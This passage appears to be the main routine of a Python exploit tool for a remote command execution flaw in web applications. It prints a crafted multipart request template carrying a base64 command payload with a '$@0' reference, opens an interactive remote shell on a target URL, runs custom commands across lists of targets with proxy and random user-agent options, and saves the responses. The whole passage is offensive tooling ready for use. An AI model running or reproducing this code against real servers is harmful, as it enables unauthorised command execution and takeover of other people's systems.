    custom_headers = parse_custom_headers(args.header)

    # If payload-only mode, generate and show payload
    if args.payload_only and args.custom:
        print("Generated Payloads:")
        print("-" * 80)

        print(f"\n1. Linux/Unix payload (base64 with @ separator):")
        unix_payload = create_payload_base64(args.custom)
        print(unix_payload)

        print("\n\nFull request body template (Linux/Unix):")
        body_template = (
            "------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
            "Content-Disposition: form-data; name=\"0\"\r\n\r\n"
            + unix_payload + "\r\n"
            "------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
            "Content-Disposition: form-data; name=\"1\"\r\n\r\n"
            "\"$@0\"\r\n"
            "------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
            "Content-Disposition: form-data; name=\"2\"\r\n\r\n"
            "[]\r\n"
            "------WebKitFormBoundaryx8jO2oVc6SWP3Sad--"
        )
        print(body_template)
        return

    # If shell mode, start interactive shell
    if args.shell and args.url:
        # Ensure URL has protocol
        url = args.url
        if not url.startswith(('http://', 'https://')):
            url = 'http://' + url
            print(f"Added http:// prefix: {url}")

        # Start interactive shell
        asyncio.run(interactive_shell(
            url=url,
            proxy=args.proxy,
            verify_ssl=not args.insecure,
            custom_headers=custom_headers,
            timeout=args.timeout,
            random_agent=args.random_agent,
            use_color=not args.no_color
        ))
        return

    # Get URLs list (for non-shell mode)
    urls = []
    if args.url:
        urls.append(args.url)
    elif args.list:
        urls = read_urls_from_file(args.list)
        if not urls:
            print("No valid URLs found in the file.")
            return

    print(f"Targets loaded: {len(urls)}")
    print(f"Proxy: {args.proxy if args.proxy else 'None'}")
    print(f"SSL Verify: {'No' if args.insecure else 'Yes'}")
    print(f"Verbose: {'Yes' if args.verbose else 'No'}")
    print(f"Random Agent: {'Yes' if args.random_agent else 'No'}")
    print(f"Threads: {args.threads}")
    print(f"Delay: {args.delay}s")

    if args.custom:
        if TERMCOLOR_AVAILABLE:
            print(f"Custom Command: {colored(args.custom, 'cyan')}")
        else:
            print(f"Custom Command: {args.custom}")

    if custom_headers:
        print(f"Custom Headers: {len(custom_headers)}")
        for key in custom_headers:
            value = custom_headers[key]
            if len(value) > 50:
                print(f"  {key}: {value[:50]}...")
            else:
                print(f"  {key}: {value}")

    print()

    if not urls:
        print("No targets specified. Use -u for single target or -l for list file.")
        return

    all_results = []

    # Process each URL
    for i, url in enumerate(urls, 1):
        print(f"[{i}/{len(urls)}] Checking: {url}")

        # Ensure URL has protocol
        if not url.startswith(('http://', 'https://')):
            url = 'http://' + url
            print(f"   (Added http:// prefix)")

        # Add delay if specified
        if args.delay > 0 and i > 1:
            print(f"   Waiting {args.delay} seconds...")
            asyncio.sleep(args.delay)

        # Run the check
        result = asyncio.run(check_target(
            url=url,
            proxy=args.proxy,
            verify_ssl=not args.insecure,
            custom_headers=custom_headers,
            timeout=args.timeout,
            custom_command=args.custom,
            random_agent=args.random_agent
        ))

        # Print results
        print_results(result, use_color=not args.no_color, verbose=args.verbose or args.show_request)

        # Save result for potential file output
        all_results.append(result)

    # Save all responses to file if requested
    if args.save_response:
        try:
            # Prepare data for JSON serialization
            save_data = []
            for result in all_results:
                # Create a serializable version
                save_result = {
                    'url': result['url'],
                    'status': result['status'],
                    'error': result['error'],
                    'matches': result['matches'],
                    'response_headers': result['response_headers'],
                    'response_body_length': len(result['response_body']) if result['response_body'] else 0,
                    'request_headers': result['request_headers'],
                    'custom_command': result.get('custom_command'),
                    'combined_output': result.get('combined_output', '')
                }
                # Include full body only in verbose save mode
                if args.verbose:
                    save_result['response_body'] = result['response_body']
                else:
                    # Save only first 5000 chars
                    save_result['response_body_preview'] = result['response_body'][:5000] if result['response_body'] else ""

                save_data.append(save_result)

            with open(args.save_response, 'w') as f:
                json.dump(save_data, f, indent=2, default=str)

            if TERMCOLOR_AVAILABLE:
                print(colored(f"\n🩸 Responses saved to: {args.save_response}", "green"))
            else:
                print(f"\n🩸 Responses saved to: {args.save_response}")
        except Exception as e:
            if TERMCOLOR_AVAILABLE:
                print(colored(f"\n❌ Failed to save responses: {e}", "red"))
            else:
                print(f"\n❌ Failed to save responses: {e}")

if __name__ == "__main__":
    main()